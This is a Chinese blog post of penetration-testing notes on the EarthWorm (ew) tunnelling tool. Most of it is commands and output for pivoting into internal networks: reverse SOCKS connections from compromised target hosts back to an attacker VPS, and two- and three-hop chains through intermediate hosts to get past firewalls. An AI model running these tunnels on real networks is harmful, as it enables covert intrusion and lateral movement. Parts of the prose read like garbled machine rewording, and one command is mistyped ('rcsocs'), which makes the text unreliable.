【内网学习笔记】10、ew 的使用
时间:2022-11-10 00:30:01
1、Socks 介绍代理工具
Socks 代理可以理解为升级版 lcx,关于 lcx 可以看看我之前的文章:
https://teamssix.com/year/210528-130449.html
但是 lcx 毕竟年代久远,现在的杀软基本都能识别出来,所以不建议在实战中使用。 lcx ,更推荐使用这些 socks 代理工具。
常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等,不同的工具适合不同的场景和方法。
作者经常使用一些工具,所以这里主要记录下来 ew、frp、nps 本文主要记录使用方法 ew 后续文章将更新 frp、nps 的使用。
在开始之前,先了解正代理和反代理的区别。
积极代理:主动通过代理访问目标主机,即攻击主机 --》目标主机
反向代理:目标机器通过代理主动连接,即目标主机 --》攻击主机
2、ew 的使用
ew 项目主页:http://rootkiter.com/EarthWorm/
ew 全称 EarthWorm
,直译就是蚯蚓
,引用作者的原话是:
该工具可以通过积极、反向、多级联系等方式打开网络隧道,直接进入网络深处,用蚯蚓独特的手段突破网络限制,松开防火墙。
这个描述也很生动。
下载
作者不再提供 ew 下载了,但是搜了一下 github 还有其他人上传,但病毒需要自查。
下载地址:https://github.com/idlefire/ew
从这个工具上传的时间是 5 年前可以看出这个工具很有年代感。
使用
该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正连接的命令是 ssocked,反向连接的命令是 rcsocks 和 rssocks,在一些复杂的网络环境中使用其他命令。
a、正向连接
正向连接需要目标主机有一个公 IP,或者攻击主机可以直接访问目标主机。
命令也很简单
ew -s ssocksd -l 1080
-s 设置状态模式 -l 设置监控端口
> .\ew_for_Win.exe -s ssocksd -l 1080 ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server
然后使用 SocksCap、Proxifier、ProxyChains 目标主机配置等工具 IP 监听端口,socks 要选择 socks5
b、反向连接
反向连接适用于没有公网的目标 IP 此时,需要一个公网 vps 这里直接以内网地址
在公网 VPS 执行以下命令:
ew -s rcsocks -l 1080 -e 4444
-e 设置反弹主机端口
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
这一命令表示将 1080 端口接收到的数据转发到 4444 端口上。
在目标主机上执行以下命令:
ew -s rssocks -d vps_ip -e 4444
-d 设置反弹主机 IP
> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444
该命令在本地开启 socks 5 服务,反弹到 vps 的 4444 如果代理商成功建立了端口,那就是 VPS 端就会看到 rssocks cmd_socket OK!
的提示。
最后,代理 vps 的 1080 端口可以访问目标主机的内网。
c、二级网络环境(一)
有这样一个网络环境,目标主机A有两张网卡,一个内网地址和一个公共网络地址,但主机只能访问内网主机B不能访问其他内网资源,而内网主机B不能访问外网,但可以访问内网资源。
获得这两个主机权限后,即可使用 ew 访问内网资源进行二级跳板。
内网主机A(有公网IP) --》内网主机B --》内网资源
打开内网主机B上的正连接代理
ew -s ssocksd -l 4444
> .\ew_for_Win.exe -s ssocksd -l 4444
在内网主机A上
ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
> ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444
这一命令表示将 1080 端口收到的代理请求转发给内网主机 B 192.168.7.110 的 4444 此时,端口可以访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。
d、二级网络环境(二)
在上述环境下,内网主机 A 有公网 IP,假如没有公网 IP 在这种情况下,我们该怎么办?此时,需要结合反向连接,因此需要公网 VPS 主机。
VPS --》内网主机A --》内网主机B --》内网资源
在公网 VPS 上
ew -s lcx_listen -l 1080 -e 4444
> ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444 rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444 init cmd_server_for_rc here start listen port here
表示将 1080 收到的 转发代理请求 4444 端口上
在内网主机 B 上
ew -s ssocksd -l 5555
> .\ew_for_Win.exe -s ssocksd -l 5555
表示开启 5555 端口的正代理
在内网主机 A 上
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555 lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
内网主机表示 A 上使用 lcx_slave 的方式,将 VPS 的 4444 端口和内网主机 B 的 5555 连接端口。
现在可以通过了 VPS 的 1080 端口访问到内网主机 A 再次访问内网主机 B ,最后,访问内网资源。
e、三级网络环境
目前,内网主机有这样的环境 A 没有公网 IP 不能访问内网资源,但可以访问外网和内网主机 B,内网主机 B 不能访问外网和内网资源,但可以和谐 A、C 内网主机相互访问 C 可以访问内网资源,但只能与内网主机合作 B 因此,如果你想访问内网资源,你需要做三层跳板。
VPS --》内网主机 A --》内网主机 B --》内网主机 C
在公网 VPS 上,将 1080 端口收到的代理请求转发给 4444 端口
ew -s rcsocks -l 1080 -e 4444
> ./ew_for_linux64 -s rcsocs -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here
在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上
ew -s lcx_listen -l 5555 -e 6666
> .\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here
start listen port here
在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上
ew -s rssocks -d 192.168.7.110 -e 6666
> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server
至此,socks5 代理 VPS 的 1080 端口就会访问到内网资源了。
另外还有个 ew 的升级版工具叫 termite,不过比较遗憾的是 termite 在两年前也已经暂停更新了,这里也就不再大费周章的记录它了。
原文链接:
https://teamssix.com/year/210610-164507.html
更多信息欢迎关注我的微信公众号:TeamsSix